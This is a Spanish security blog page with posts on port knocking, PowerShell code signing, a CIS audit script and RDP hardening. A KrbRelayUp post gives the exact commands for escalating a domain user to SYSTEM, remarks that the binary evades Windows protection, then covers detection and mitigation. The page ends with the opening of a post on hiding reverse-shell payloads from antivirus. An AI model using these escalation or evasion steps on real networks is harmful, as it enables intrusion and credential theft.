Páginas

Mostrando entradas con la etiqueta Seguridad Informática. Mostrar todas las entradas
Mostrando entradas con la etiqueta Seguridad Informática. Mostrar todas las entradas

10 agosto, 2022

Port Knocking: Ocultar y mejorar la seguridad en conexiones SSH

Port knocking o golpeteo de puertos es un método que proporciona seguridad frente ataques de servicios de red, consiste en realizar una serie de peticiones de conexión con una secuencia ordenada de puertos para poder habilitar una regla previamente configurada en el máquina remota que nos permita abrir una comunicación única entre cliente/servidor y establecer finalmente una conexión abierta SSH hacia el servidor remoto. El uso de esta implementación puede ser catalogado como seguridad por oscuridad

¿Cómo funciona una conexión SSH usando Port knocking? 

  1. Tenemos un servidor SSH que expone el puerto por defecto 22 o bien otro un puerto específico como por ejemplo 4422 (será el puerto que se trate en este escenario).
  2. Se añade una regla a nivel de firewall del propio servidor para rechazar todas conexiones entrantes sobre el puerto SSH previamente configurado 4422.
  3. Para poder conectarnos a este servidor usando una técnica de port kockning de hasta tres "golpeteos" de puertos para establecer una conexión SSH, necesitamos realizar una petición a estos puertos, en este escenario mostraré tres formas de hacerlo (knockd, telnet y nmap).
  4. Una vez realizado el knocking de puertos en el orden establecido (que veremos posteriormente en el fichero de configuración) este disparará la acción de ejecutar un comando, este comando no será más que establecer una nueva regla en este caso vía iptables para permitir la conexión SSH únicamente desde la IP origen que realizó la secuencia de golpeteo de puertos y no desde ninguna otra IP alcanzable de la misma red.
  5. Finalmente para volver aplicar la regla de bloqueo y restablecer esta configuración al terminar nuestra sesión, se lanzará el golpeteo de puertos de salida de SSH. De modo que la configuración vuelva a restablecerse y vuelva a cerrarse el puerto hacia el exterior.

Configurando Iptables

Bloquear puerto SSH configurado vía Iptables

En este escenario el servidor SSH se ejecuta en un entorno Debian y expone el puerto 4422 (en vez del puerto 22 por defecto).

Añadimos un regla iptables para rechazar todas las conexiones entrantes hacia el puerto 4422 del servidor SSH configurado. 

sudo iptables -A INPUT -p tcp --dport 4422 -j REJECT --reject-with tcp-reset

Iptables: diferencias entre DROP y REJECT (estado de puertos "filtered" o "closed")

La teoría nos dice que uso de DROP no hará nada con el paquete recibido, simplemente lo descartará sin enviar ningún tipo de respuesta. Al contrario de REJECT donde se genera un paquete de respuesta rechazando la conexión, si no se especifica el tipo de respuesta por defecto este paquete sería un "ICMP Destination port unreachable".

En la práctica esto no es del todo cierto. Cuando la regla es DROP es cierto que el paquete se descarta y no se envía ningún paquete de respuesta, sin embargo una regla DROP anunciará que existe un control de puertos y los escáneres sabrán que se está haciendo uso de un firewall devolviendo un estado de puerto "filtered". Ocurre lo mismo si solo usamos REJECT sin especificar un tipo concreto de respuesta, este responderá con un paquete "ICMP Destination port unreachable" anunciando así el filtrado de dicho puerto.

Si lo que queremos es ocultar el puerto y devolver un estado "closed" como resultado en un escaneo de puertos, haciendo creer que el puerto o servicio que se ejecuta en el lado servidor no se está usando o simplemente no existe, debemos especificar un tipo de respuesta en una regla REJECT. 

Cuando usamos TCP o UDP sobre un puerto la respuesta debe responder con los flags RST/ACK, de este modo estaremos indicando a los escáneres un estado de puerto "closed".

  • TCP: iptables -A INPUT -p tcp --dport 4422 -j REJECT --reject-with tcp-reset
  • UDP: iptables -A INPUT -p udp --dport 4422 -j REJECT --reject-with icmp-port-unreachable
Capturando este tipo de tráfico de red con un sniffer como Wireshark, en la siguiente captura de pantalla se muestran todas las combinaciones posibles para este caso donde se puede ver el tipo de paquete de respuesta que genera según el tipo de regla aplicada en el lado servidor.

Reglas DROP y REJECT con estado "FILTERED" (TCP/UDP)

iptables -A INPUT -p tcp --dport 4422 -j DROP
Figura 1: Estado de puerto "filtered" usando DROP en TCP.
iptables -A INPUT -p udp --dport 4422 -j DROP
Figura 2: Estado de puerto "open|filtered" usando DROP en UDP.
iptables -A INPUT -p tcp --dport 4422 -j REJECT
Figura 3: Estado de puerto "filtered" usando REJECT en TCP.

Reglas DROP y REJECT con estado "CLOSED" (TCP/UDP)

iptables -A INPUT -p tcp --dport 4422 -j REJECT --reject-with tcp-reset
Figura 4: Estado de puerto "closed" usando REJECT en TCP.
iptables -A INPUT -p udp --dport 4422 -j REJECT --reject-with icmp-port-unreachable
o
iptables -A INPUT -p udp --dport 4422 -j REJECT
Figura 5: Estado de puerto "closed" usando REJECT en UDP.

Guardado y persistencia de reglas Iptables después de reiniciar la máquina

Instalamos el paquete iptables-persistent.

sudo apt-get install iptables-persistent

Guardamos y cargamos reglas configuradas de Iptables.

sudo netfilter-persistent save
sudo netfilter-persistent reload
Para proporcionar la persistencia de las reglas configuradas de Iptables después un reinicio de la máquina. En el fichero /etc/crontab añadimos la ejecución para cargar las reglas guardas después cada arranque del sistema.
sudo echo "@reboot sudo netfilter-persistent reload &" >> /etc/crontab

Implementación de Port Knocking - knockd

Instalamos el servicio de knockd

sudo apt install -y knockd

Configuración de knockd

Editamos el fichero de configuración de /etc/knockd.conf.

[options]
        #UseSyslog
        logfile     = /var/log/knockd.log

[openSSH]
        sequence    = 7500,8200,9800
        seq_timeout = 5
        command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 4422 -j ACCEPT
        tcpflags    = syn

[closeSSH]
        sequence    = 9300,4500,6200
        seq_timeout = 5
        command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 4422 -j ACCEPT
        tcpflags    = syn
Por cuestiones de monitorización y depuración de posibles errores establecemos un logfile específico para este servicio con el path donde se almacenarán los logs de knockd. Comentamos UseSyslog ya que si mantenemos esto por defecto los logs se almacenarán en el fichero de sistema /var/log/syslog.

Disponemos de dos principales directivas. Una para abrir la conexión SSH (openSSH) y otra para cerrar y restablecer la configuración de la conexión SSH (closeSSH).

Sección openSSH:
  • sequence: Se define la configuración secreta de puertos a golpear. Se puede especificar tres o más puertos y su vez indicar el tipo de protocolo, bien sea por tcp o udp. Por defecto se estable a tres puertos en protocolo tcp. En este caso modifiqué los puertos y secuencia en el siguiente orden: 7500,8200,9800.
  • seq_timeout: Tiempo de esperará entre la ejecución de un golpeteo a otro de puertos. Por defecto se establece a 5 segundos, aunque podemos aumentarlo si no fuese suficiente. No se recomienda establecer grandes intervalos de tiempo para evitar ataques de fuerza bruta que realizan esta acción de forma automatizada intentando encontrar la combinación correcta de puertos. Una herramienta utilizada podría ser KnockIt - https://github.com/eliemoutran/KnockIt.
  • command: Comando que el servidor ejecutará cuando detecte la combinación correcta de puertos previamente golpeados. En este caso se agregará en una nueva regla (iptables -I) en el primer orden de la jerarquía de prioridad de la tabla INPUT de iptables para permitir únicamente desde la dirección IP origen la la conexión hacia el puerto 4422 configurado para este servidor SSH.
  • tcpflags: Tipo de paquetes que reconocerá el servidor como válidos para el port knocking (en este caso con un flag syn).
Sección closeSSH:

Los parámetros son los mismos que las anteriores con la diferencia de indicar otro número de secuencia distinta (en este caso: 9300,4500,6200) para ejecutar otra regla en el parámetro de command.
  • command: Se eliminará (iptables -D) la regla añadida anteriormente. De modo que el servidor vuelva a "restablecer" con la configuración inicial rechazando todas las solicitudes origen hacia el puerto 4422 de SSH.

Habilitar el daemon knockd

Editamos el fichero /etc/default/knockd. Establecemos START_KNOCKD a valor "1" para habilitar el servicio y en KNOCKD_OPTS indicamos la interfaz de red que que usará el servicio, en este caso enp0s3.

START_KNOCKD=1
KNOCKD_OPTS="-i enp0s3"

Iniciamos el servicio knockd y habilitamos un tipo de inicio automático del servicio en el arranque del sistema.

sudo systemctl start knockd
sudo systemctl enable knockd

¿Cómo conectarse a un servidor SSH usando Port Knocking?

Analizando el escenario actual

  • Máquina Debian - Cliente: 10.0.0.23
  • Máquina Debian - Servidor: 10.0.0.22
En la siguiente captura se muestra un intento de conexión SSH desde la máquina cliente (10.0.0.23) sin el uso de Port knocking y vemos como la conexión ha sido rechazada.

Si comprobamos el estado de puerto con Nmap vemos que el puerto se muestra en un estado cerrado "closed". Esto es así porque previamente habíamos especificado el tipo de respuesta en REJECT con un tcp-reset el cual nos devuelve un paquete RST/ACK (ver figura 1 para más detalles).  

Si revisamos la configuración de reglas de iptables en la máquina servidor (10.0.0.22) vemos como hay una regla que rechaza cualquier tipo de conexión por el puerto 4422 desde cualquier IP origen.

Figura 6: Intento de conexión SSH usando knockd sin el uso de secuencia Port Knocking.

Opción 1: usando knock con Port Knocking

Desde la máquina cliente instalamos knockd. Para conectarnos al servidor remoto ejecutamos lo siguiente.

$ knock -v 10.0.0.22 7500 8200 9800
hitting tcp 10.0.0.22:7500
hitting tcp 10.0.0.22:8200
hitting tcp 10.0.0.22:9800

Una vez golpeado los puertos el orden de secuencia de correcto, ejecutamos ssh para conectarnos al servidor por el puerto configurado 4422.

ssh -p 4422 user@10.0.0.22

En la siguiente captura de pantalla podemos ver como después realizar el intento de conexión SSH al servidor remoto usando la combinación correcta de golpeteo de puertos este ejecuta el comando establecido en la directiva "openSSH" configurado en el fichero /etc/knockd.conf donde se indica que se añada en primer orden una nueva regla iptables para permitir la comunicación únicamente a la IP origen de la máquina cliente permitiendo así la conexión SSH hacia la máquina servidor remota.

Como prueba podemos comprobar el estado de conexión de puertos con Nmap, desde la máquina cliente permitida vemos como el puerto 4422 está en estado abierto "open", sin embargo si comprobamos lo mismo desde otra máquina de la red con otra IP origen distinta vemos como para esa otra máquina el estado del puerto 4422 es "closed". Por lo tanto podemos decir que las reglas están funcionando correctamente y estamos "ocultando" o más bien filtrando el uso de las comunicaciones en un puerto concreto entre otras máquinas, la máquina cliente origen y la máquina servidor.

Si revisamos la máquina servidor vemos como ahora existe una nueva regla de iptables en el orden de prioridad 1 (será la primera regla que interprete el firewall) permitiendo la conexión al puerto 4422 desde la IP origen 10.0.0.23 (máquina cliente). Si analizamos los logs /var/log/knockd.log también verificamos que se ejecutó correctamente el orden de secuencia de golpeteo de puertos y el comando que agrega esta regla al firewall local de iptables.

Finalmente salimos de la sesión SSH remota, para volver restablecer las reglas iptables de la máquina servidor y así volver rechazar las conexiones por el puerto 4422 a todas las máquinas e incluida la máquina cliente. Ejecutamos la secuencia de golpeteo de puertos establecida en la directiva de "closeSSH". De esta forma si volvemos a revisar las reglas en la máquina servidor vemos como esta se elimina y se vuelve establecer con prioridad 1 la regla de bloqueo que rechaza todas las conexiones desde cualquier IP origen.

Figura 7: Intento de conexión SSH usando knockd con la secuencia correcta de Port Knocking.

Opción 2: usando telnet con Port Knocking

Otra forma de realizar port knocking es hacer uso del comando telnet. Recibirá un mensaje de "Connection refused", pero está bien, ya que telnet está deshabilitado en ese puerto y solo queremos enviar un paquete con flag "TCP SYN". 
$ telnet 10.0.0.22 7500
Trying 10.0.0.22...
telnet: Unable to connect to remote host: Connection refused
$ telnet 10.0.0.22 8200
Trying 10.0.0.22...
telnet: Unable to connect to remote host: Connection refused
$ telnet 10.0.0.22 9800
Trying 10.0.0.22...
telnet: Unable to connect to remote host: Connection refused
Una vez se concluya el comando telnet durante las tres secuencias de puertos, la conexión SSH por el puerto 4422 se abrirá para la máquina cliente.

Figura 8:  Intento de conexión SSH usando telnet con la secuencia correcta de Port Knocking.

Opción 3: usando Nmap con Port Knocking

Otra forma de realizar port knocking es hacer uso de la herramienta de escaneo de puertos Nmap. Con el parámetro -sS podemos enviar hacia el servidor paquetes con flag "TCP SYN". Concatenando la secuencia de comandos correcta podemos lanzar este tipo de paquetes ejecutando así la regla que nos permite establecer conexión con el servidor SSH remoto.
sudo nmap -sS -p7500 10.0.0.22 ; nmap -sS -p8200 10.0.0.22 ; nmap -sS -p9800 10.0.0.22
Figura 9: Intento de conexión SSH usando Nmap con la secuencia correcta de Port Knocking.

Conclusiones

Añadir este mecanismo como método de autenticación SSH en servidores es una buena medida de seguridad por oscuridad. Si bien este proceso es divertido de implementar y verlo en acción, es posible que no sea factible implementarlo en entornos de producción donde hay una gran cantidad de servidores SSH o si se necesita automatizar accesos SSH.

Considero que es una buena medida de seguridad a implementar solamente para aquellos servidores realmente críticos y que tengan una cierta exposición externa en los que dado su diseño de arquitectura subyacente de red no permita ser protegido en capas anteriores con un firewall o DMZ. Incluso podríamos añadir una segunda capa de protección como sería la implementación de un segundo factor de autenticación 2FA en conexiones SSH.

Saludos!

11 mayo, 2022

KrbRelayUp PrivEsc: Escalada de privilegios local en entornos Active Directory y mitigación

KrbRelayUp es una herramienta que nos permite en una post-explotación la escala de privilegios locales en máquinas unidas a un dominio Active Directory y persistencia para realizar este privesc en cualquier máquina del dominio a través de movimientos laterales hasta llegar a la máquina objetivo, de ahí su criticidad y riesgo alto.

No se trata de una vulnerabilidad en sí con un CVE asignado, sino del aprovechamiento de un fallo de configuración por defecto de Windows por parte de los controladores de dominio.

Esta explotación es exitosa en cualquier máquina cliente Windows 10 bajo controladores de dominio Window Server 2012, 2016 y 2019. Actualmente Microsoft no ha dando solución con ningún parche de actualización. 

Más información en el repositorio del autor Mor Davidovich @dec0ne:

Explotación (PoC)

Previamente debemos compilar el proyecto, dejo referencia del binario ya compilado KrbRelayUp.exe (fuente de la descarga: https://kb.offsec.nl/). La explotación es sumamente sencilla, una vez comprometida la máquina y descargado el ejecutable lanzamos el exploit. Hasta el momento el servicio de protección para ejecución malware de Windows no lo detecta.

Primera fase del ataque, el usuario de dominio autenticado y sin privilegios retransmitirá una petición Kerberos a LDAP y creará una máquina de control sobre la máquina local usando RBCD.

.\KrbRelayUp.exe relay -Domain <Domain> -CreateNewComputerAccount -ComputerName <hostName>$ -ComputerPassword <Password>

Segunda fase del ataque, utilizará la máquina creada de control para obtener un ticket de servicio de Kerberos y lo utilizará para crear un nuevo servicio que se ejecute como SYSTEM (en este caso está desarrollado para lanzar un cmd.exe).

.\KrbRelayUp.exe spawn -d <Domain> -cn <HostName>$ -cp <Password>

Figura 1: Escalada de privilegios local a SYSTEM usando KrbRelayUp.exe.

Si verificamos en la consola de Active Directory (dsa.msc) vemos como se ha creado una nueva máquina "host01". 

Aclarar que esta máquina será usada como persistencia en el dominio un posible atacante podría moverse lateralmente entre máquinas aprovechando el principio de localidad hasta llegar a una máquina servidor objetivo donde estuviese autenticado un usuario del grupo administradores de dominio o el propio administrador de dominio. Al poder escalar privilegios a SYSTEM sería más que posible realizar un volcado de hashes en memoria de dicha cuenta.

Por esta razón considero que se trata de algo crítico, con un alto riesgo de seguridad y que se debería subsanar lo antes posible. Más adelante veremos como mitigar esto.

Figura 2: Creación de la máquina maliciosa por parte de un usuario del dominio en Active Directory.

Detección (Event ID 4768)

Este artículo no está enfocado al detalle de detección, sino más bien a la explotación y mitigación de esta vulnerabilidad. Considero que en este caso es más eficiente realizar una mitigación para este fallo de configuración que generar las alertas de detección en nuestro SIEM.

La mitigación para esta vulnerabilidad tiene una sencilla implementación a nivel global de todo el dominio, sin embargo en las reglas de detección se nos puede escapar algo nuevo y que no se estaría alertando.

Uno de los logs que podemos registrar (en una configuración de Auditoría por defecto de AD) sería el evento 4768 "Solicitud de ticket de autenticación de Kerberos (TGT)". Donde el Account Name sería la creación de máquina en AD.

Figura 3: EventID 4768 - Autenticación Kerberos solicitud de ticket TGT del host malicioso

También he intentado buscar un evento estado buscando un evento 4741 "Creación de una cuenta de máquina", sin éxito. Es posible que la incorporación de Sysmon nos pueda dar más detalles para su detección y poder crear un indicador de compromiso válido.

Para el uso de reglas Sigma y otros eventos de Windows aconsejo consultar el repositorio donde se mantiene actualizada esta información.

Mitigación y verificación

Para evitar el aprovechamiento de esta mala configuración por defecto en entornos de dominio, podemos elegir diversas opciones de mitigación:

  • Opción 1. Requerir firma LDAP del servidor.
  • Opción 2: Eliminar los permisos de los "usuarios autenticados" para que no puedan unir máquinas al dominio.
  • Opción 3. Limitar el valor del atributo MS-DS-Machine-Account-Quota.

Opción 1. Requerir firma LDAP del servidor

Debemos aplicar únicamente la siguiente política en la GPO "Default Domain Controllers Policy":

Polices > Windows Settings > Security Settings > Local Polices > Security Options > "Domain controller: LDAP server signing requirements" y establecerla como "Require signing"

De esta forma se rechazan las solicitudes de LDAP simples y solicitudes LDAP a través de SSL. Esto puede tener impacto en sistemas Windows XP o Server 2003.

No es necesario aplicar ambas políticas: "Network Security: LDAP client signing requirements" y "Domain controller: LDAP server signing requirements" en la GPO Default Domain Policy.

Figura 4: Mitigación KrbRelayUp - Aplicar política "Domain controller: LDAP server signing requirements".

Verificamos la mitigación y vemos que al aplicar esta política la conexión LDAP falla. En la segunda fase del exploit tampoco es posible realizar la conexión solicitando el ticket Kerberos TGT para autenticarnos en la máquina creada y poder levantar la terminal privilegiada SYSTEM.

Aunque el ataque no fue exitoso, si ha sido posible crear una nueva máquina en el dominio, no nos daría persistencia ya que la autenticación no se va poder realizar en ningún caso, pero en caso de ejecutar el ataque se estarían creando de forma residual estas máquinas en la OU por defecto de "Computers".

Figura 5: Verificación mitigación - LDAP server signing requirements.

Opción 2. Eliminar los permisos de los "usuarios autenticados" para que no puedan unir máquinas al dominio

De todas las opciones de mitigación que se comentan en este artículo, es la que aplicaría por escalabilidad y gestión centralizada de permisos a través de grupos de seguridad de Active Directory.

Debemos aplicar únicamente la siguiente política en la GPO "Default Domain Controllers Policy":
Polices > Windows Settings > Security Settings > Local Polices > User Rights Assignment > "Add workstations to domain"
Por defecto esta política establece que todos los "usuarios autenticados" tienen la capacidad de unir máquinas al dominio. Un solución sería eliminar este grupo y agregar los grupos que autorizados para realizar esta tarea. En este caso agregué "Domain Admins" y un grupo específico creado en AD de este modo podremos agregar otros grupos o usuarios específicos y autorizados pudiendo así granular los permisos para realizar esta tarea.

Figura 6: Mitigación KrbRelayUp - Limitar permisos para la política "Add worksations to domain".

Con esta política propagada y aplicada en los DCs, si probamos a ejecutar nuevamente el exploit vemos que falla mostrando un mensaje de que el usuario no tiene permisos suficientes (esto se refiere a que no es posible que este usuario pueda crear máquinas unidas al dominio).

Lógicamente esta opción no llegará ni si quiera a crear la máquina en AD. Por lo que ya estaríamos eliminando una posible persistencia en el dominio por parte del atacante.

Figura 7: Verificación mitigación - Permisos insuficientes para poder unir máquinas al dominio.

Opción 3. Limitar el valor del atributo MS-DS-Machine-Account-Quota

Otra mitigación que dificultaría los requisitos del ataque sería limitar limitar el número de máquinas que un usuario pueda unir al dominio. Si optamos por esta opción debemos establecer un valor 0 al atributo del dominio ms-DS-MachineAccountQuota.

Este atributo lo podemos encontrar y editar directamente desde las propiedades del dominio en una consola de Active Directory (dsa.msc) o también acceder a él a través desde la consola de editor ADSI (adsiedit.msc).

Figura 8: Mitigación KrbRelayUp - Limitar el valor del atributo ms-DS-MachineAccountQuota.

Si verificamos la aplicación de este cambio vemos como al intentar ejecutar el exploit el servidor no puede gestionar esta solicitud, esto estaría bloqueando el ataque y tampoco crearía la máquina en AD evitando así, al igual que la opción anterior, una posible persistencia en el dominio.

Figura 9: Verificación mitigación - ms-DS-MachineAccountQuota = 0.

Si con el mismo usuario, desde otra máquina nueva, intentamos unirla al dominio de modo gráfico nos muestra el siguiente error indicando que "hemos superado el número máximo de cuentas de máquina que puedes crear o unir en este dominio".

Figura 10: Verificación mitigación - Mensaje de error al intentar unir una máquina al dominio.

¿Cómo identificar quién agregó un nueva maquina al dominio?

El usuario "user.sinpriv" es un usuario de dominio sin ningún otro privilegio otorgado, sin embargo el exploit hace uso del cmdlet New-AddComputer sumado a esta configuración por defecto en entornos de dominio este usuario puede crear máquinas en Active Directory. 

Podemos identificar y verificar quien a creado una máquina en AD examinando el atributo ms-DS-CreatorSID.

Get-ADComputer <Host> -Properties mS-DS-CreatorSID | Select-Object -Expandproperty mS-DS-CreatorSID | Select-Object -ExpandProperty Value | Foreach-Object {Get-ADUser -Filter {SID -eq $_}}
Figura 10: Identificar al usuario en la creación de nuevas máquinas unidas al dominio.

Saludos!

25 marzo, 2021

Firmar scripts PowerShell [Parte 2 de 2]: Entidad de certificación CA (ADCS), despliegue de certificado vía GPO e integridad de firma

Firmar scripts PowerShell

Continuando con el artículo sobre como firmar scripts PowerShell estableciendo una política de ejecución AllSigned. En este post comentaré como hacer uso de las plantillas de certificados para el propósito de "Firma de código" emitidas por una Entidad de certificación CA implementada en un entorno de dominio haciendo uso del servicio ADCS (Active Directory Certificate Services), desplegando el certificado vía GPO y finalmente realizar una comprobación de integridad del script PowerShell firmado.

CA raíz y CA subordinadas

La CA raíz contiene la clave privada de toda la jerarquía de certificados, si un atacante obtuviera este certificado o emite un certificado para una entidad no autorizada, se compromete la seguridad basada en el certificado de la organización de todos los certificados que se han emitido en esa jerarquía.

Lo ideal y por seguridad sería disponer de una CA raíz que emita certificados para una CA subordinada, de modo que no se exponga directamente el primer nivel de certificado de la CA raíz, las CA subordinadas requieren una jerarquía de PKI establecida.

Entidades de certificación: empresarial e independientes

  • Entidad de certificación empresarial: Deben pertenecer al dominio, se suele utilizar cuando es necesario emitir muchos certificados y aprobarlos rápidamente para un entorno de dominio Active Directory.
  • Entidad de certificación independiente: Pueden pertenecer a un grupo de trabajo o a un dominio. No requieren de ADDS, se suele utilizar para emitir certificados directamente a los clientes. Dado que no tiene el certificado raíz, ofrece una mayor seguridad. La desventaja es que todos los certificados que se emiten deben ser aprobados.

Descripción del escenario para este lab

Por motivo de falta de recursos y no desplegar una CA subordinada, para estos ejemplos se hará uso únicamente de una CA raíz tipo empresarial ya implementada con el nivel de confianza máximo en la jerarquía de PKI de la organización y un equipo Windows 10 unido al dominio en el que se probará la ejecución de scripts PowerShell firmados donde se le aplicará una GPO con el certificado necesario. 

Entidad de certificación CA (ADCS) y plantilla de Firma de código

Esto sería opcional pero para tener un control de permisos podemos crear un nuevo grupo en AD para este fin y asignarlo desde la consola de "Plantillas de certifiado" (certtmpl.msc) a la plantilla de que tiene como propósito la "Firma de código". De modo que todos los usuarios/grupos que formen parte del grupo añadido tengan permisos para poder solicitar esta plantilla a la entidad de certificación desde las propia consola local de administración de certificados de usuario (certmgr.msc).

Figura 1: Asignación de permisos a la plantilla de certificado "Firma de código".

Desde la consola de "Entidad de certificación" (certsrv.msc). Emitimos la publicación de una nueva plantilla de certificado "Firma de código".

Figura 2: Emitir plantilla de certificado "Firma de código" desde una Entidad de certificación CA.

Es el momento de solicitar un certificado para "Firma de código". Esto lo haremos desde el propio almacén de certificados de Windows (certmgr.msc) y con un usuario que tenga permisos para poder solicitar el certificado de Firma de código a la Entidad de certificación.

Figura 3: Solicitar a la CA un certificado de Firma de código. 

Una vez solicitado, exportamos el certificado en formato .cer.

Figura 4: Exportar el certificado .cer con propósitos de Firma de código.

Despliegue de certificado vía GPO

Para que el resto de equipos del dominio dispongan del certificado .cer en su almacén de certificados, se crea una nueva GPO desde la consola de Administración de directivas de grupo (gpmc.msc). 

A nivel de directiva de equipo, importamos el certificado .cer en el almacén de "Editores de confianza" (Trusted Publishers). Es importante que esté importado en este almacén, de lo contrario la ejecución de scripts PowerShell firmados en cualquier máquina unida al dominio y que tenga establecida una política de ejecución de scripts en modo AllSigned nos arrojará un mensaje de advertencia inicial (como se muestra en la Figura 7).

Figura 5: Desplegar certificado para firma de código vía GPO. 

Firmar scripts PowerShell con un certificado tipo "Firma de código"

Con el mismo usuario que hemos solicitado el certificado, firmamos un script PowerShell. Si visualizamos el fichero de script vemos que se ha incluido una firma complementaria al final del código.
Get-AuthenticodeSignature -FilePath .\MyScript.ps1
$cert = Get-ChildItem -Path Cert:\CurrentUser\My -CodeSigningCert
Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert
Figura 6: Firmar y ejecutar script PowerShell desde el mismo usuario.

Ejecución del script firmado en otro equipo y usuario del dominio

Probamos a ejecutar el script firmado desde otro usuario y equipo unido al dominio, en este caso un cliente Windows 10 con la política de ejecución de scripts establecida en AllSigned.

Como vemos en la siguiente captura, hay posibilidad de ejecutar el script pero nos muestra un advertencia indicando que el certificado no está importado en el almacén de "Editores de confianza" (Trusted Publishers). Por esta razón lo comentado en el punto anterior de la figura 5. De momento cancelamos la ejecución (ctrl+c).

Figura 7: Ejecutar script PowerShell desde otra máquina y usuario del dominio (sin certificado importado).

Para importar el certificado en el almacén local de la máquina realizamos un forzado de la actualización de políticas (gpupdate /force). Una vez tenemos el certificado ya importado a través de la aplicación de la GPO creada en la Figura 5, podemos observar que al volver ejecutar el script firmado ya no se muestra ninguna advertencia.

Lógicamente si ejecutamos un script no firmado (MyScript_noSigned.ps1) se nos mostrará el mensaje de error común debido a la restricción aplicada AllSigned en la política de ejecución de scripts.

Figura 8: Ejecutar script PowerShell desde otra máquina y usuario del dominio (con certificado importado).

Comprobación de la integridad de firma en scripts PowerShell

¿Qué pasa si se modifica el código del script firmado?

Para realizar la verificación de integridad de la firma del script se modifica el código del script firmado y se vuelve a comprobar el estado del certificado. 

Si ejecutamos el script después de modificarlo se nos muestra un error indicando que "es posible que alguien no autorizado haya modificado el contenido del archivo", comprobamos nuevamente la firma del fichero y veremos un estado HashMismatch indicando claramente que se ha modificado rompiendo su integridad respecto a la firma.

Será necesario volver a firmarlo con el mismo certificado, generando así una nueva firma asignada al script. 

Figura 9: Modificar script PowerShell firmado para comprobar su integridad.

Saludos!

18 febrero, 2021

Wynis: Checking de auditorías de seguridad para Windows y Active Directory

Wynis es un script de auditoría desarrollado por el usuario Sneakysecdoggo que realiza una evaluación de controles de indicadores del CIS (Center for Internet Security) siguiendo los benchmarks del CIS Best Practices Windows 10 y Windows Server 2016. Los puntos de referencia del CIS son reconocidos internacionalmente como estándares de seguridad para la defensa de sistemas y datos de IT contra ciberataques.

Se trata de una herramienta de script similar a Lynis, usada en sistemas basados en Linux.

Después de ejecutarlo creará un directorio con todos los resultados reportados en formato de texto y csv. El checklist reporta:

  • Lista de puertos, servicios
  • Reglas de firewall 
  • Software instalado 
  • Tareas programadas 
  • Software que se ejecuta al inicio 
  • Información general del sistema 
  • Recursos compartido, 
  • Políticas de seguridad y GPOs
  • Actualizaciones instaladas 
  • Características opcionales instaladas 
  • Lista de usuarios locales, 
  • Entre otros reportes adicionales...

No solo para sistemas Windows 10, sino que también dispone de un versión para realizar este tipo de auditoría en Server 2016 que sea controladores de dominio Active Directory.

Figura 1: Ejecución de Wynis en un sistema Windows.

Saludos!

03 septiembre, 2020

Restringir el inicio de sesión a través de escritorio remoto RDP a usuarios Administradores y permitirlo solamente a usuarios específicos

Por defecto para poder usar los Servicios de escritorio remoto RDP Remote Desktop Protocol necesitamos un usuario, ya sea local en la máquina remota o de dominio, que tenga permisos para poder conectarse. Para ello dicho usuario debe ser miembro del grupo "Administradores locales" o bien del grupo "Usuarios de escritorio remoto".

Agregar o quitar usuarios o grupos a través de las Propiedades del sistemas (sysdm.cpl) sería lo mismo que hacerlo a través del propio grupo local "Usuarios de escritorio remoto" que podemos encontrar en la consola lusrmgr.msc.

Figura 1: Administradores locales tienen acceso RDP.

El problema surge cuando necesitamos que en una máquina remota puedan acceder únicamente determinados usuarios pero que las cuentas de usuario miembros del grupo Administradores locales no puedan iniciar sesión a través de RDP.

Evitar el Principio de localidad (Movimiento lateral)

En muchas empresas, por razones principalmente administrativas, es habitual encontrase al usuario Administrador (cuenta integrada) habilitado o simplemente la creación de un nuevo usuario que pertenezca al grupo Administradores locales de la máquina. Suele establecerse la misma contraseña para este usuario en todos las máquinas de la organización lo que se conoce como "Principio de localidad" permitiendo con esto la posibilidad de movimientos laterales de un equipo a otro en un contexto privilegiado y facilitando la capacidad de acceso a través de los Servicios de escritorio remoto a otras máquinas que tengan configurado el mismo usuario y contraseña.

Hardening - Restringir el acceso RDP a los Administradores locales

Para aplicar un poco de hardening y establecer unas buenas prácticas ante esta situación. Añadimos los usuarios específicos ya sean locales o formen parte de un dominio al grupo de "Usuarios de escritorio remoto".

Figura 2: Añadir usuarios de forma nominal al grupo local de Usuarios de escritorio remoto.

Establecemos y modificamos una GPO ya sea nivel local o de de dominio en la consola editor de directivas gpedit.msc o gpmc.msc.

Configuración del equipo > Configuración de Windows > Configuración de seguridad > Asignación de derechos de usuario > "Permitir inicio de sesión a través de Servicios de escritorio remoto"

Quitamos o eliminamos el grupo de usuarios "Administradores". En el caso de un dominio se podría establecer un grupo integrado tipo "Opers. de cuentas" o crear uno específico de dominio el cual también pertenezca al grupo Administradores locales de la máquina (esto se podría realizar de forma masiva mediante una GPO a nivel de dominio). También tendremos la posibilidad de elevarnos a un contexto privilegiado haciendo uso del UAC (User Account Control) ejecutando los procesos como Administrador (Ctrl+Shift) u otro usuario que sea miembro del grupo Administradores locales.

De ese modo no se degradaría la posibilidad de seguir administrando las máquinas e iniciar sesión a través de los servicios de escritorio remoto únicamente para aquellas cuentas de usuario que lo necesiten por su operativa de mantenimiento. Minimizando así el riesgo del principio de localidad comentado anteriormente.

Figura 3: GPO - Limitando el acceso a grupos o usuarios a través de Servicios de escritorio remoto.

En la siguiente captura se puede ver como se denegó el acceso a través de RDP a un usuario adminadrian que es miembro del grupo de "Usuarios" y "Administradores" locales de la máquina que, por defecto tendría acceso al inicio de sesión a través de RDP ya que pertenece al grupo de Administradores locales, independientemente de si pertenece o no al grupo específico "Usuarios de escritorio remoto".

Figura 4: Inicio de sesión denegado a través de escritorio remoto para un usuario privilegiado.

Registro del error en el inicio sesión para el usuario local adminadrian correspondiente al evento con ID: 4625.

Figura 5: Evento con ID 4625 - Error de una cuenta al iniciar sesión.

Saludos!

16 julio, 2020

Shellter y Veil-Evasion: Evasión de antivirus ocultando shellcodes de binarios

Hay diversas técnicas para establecer una sesión hacia una máquina remota. Una de ellas es la generación de un fichero binario que sea ejecutado por la víctima, este binario tendrá un payload configurado que nos proporcionará una shell remota estableciendo una conexión directa o inversa hacia el equipo de la víctima, consiguiendo así una sesión en el mismo contexto de integridad del usuario que ejecutó el binario.

